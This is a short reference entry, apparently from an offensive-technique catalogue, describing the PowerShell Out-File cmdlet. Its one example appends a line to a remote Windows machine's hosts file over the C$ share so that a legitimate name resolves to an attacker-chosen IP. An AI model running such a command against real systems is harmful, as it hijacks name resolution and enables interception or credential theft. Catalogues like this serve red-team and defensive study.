.. / Out-File

Sends output to a file


Functions:
Type:
Toolsets:

Data

Append line to file

"10.0.10.123 legit.com" | Out-File -Append \\W10.ad.bitsadmin.com\C$\Windows\System32\Drivers\etc\hosts -Encoding ascii
Usecase
Add name to target host file to point to a malicious IP




Updated: 2023-07-01
Contributor: Arris Huijgen (bitsadmin)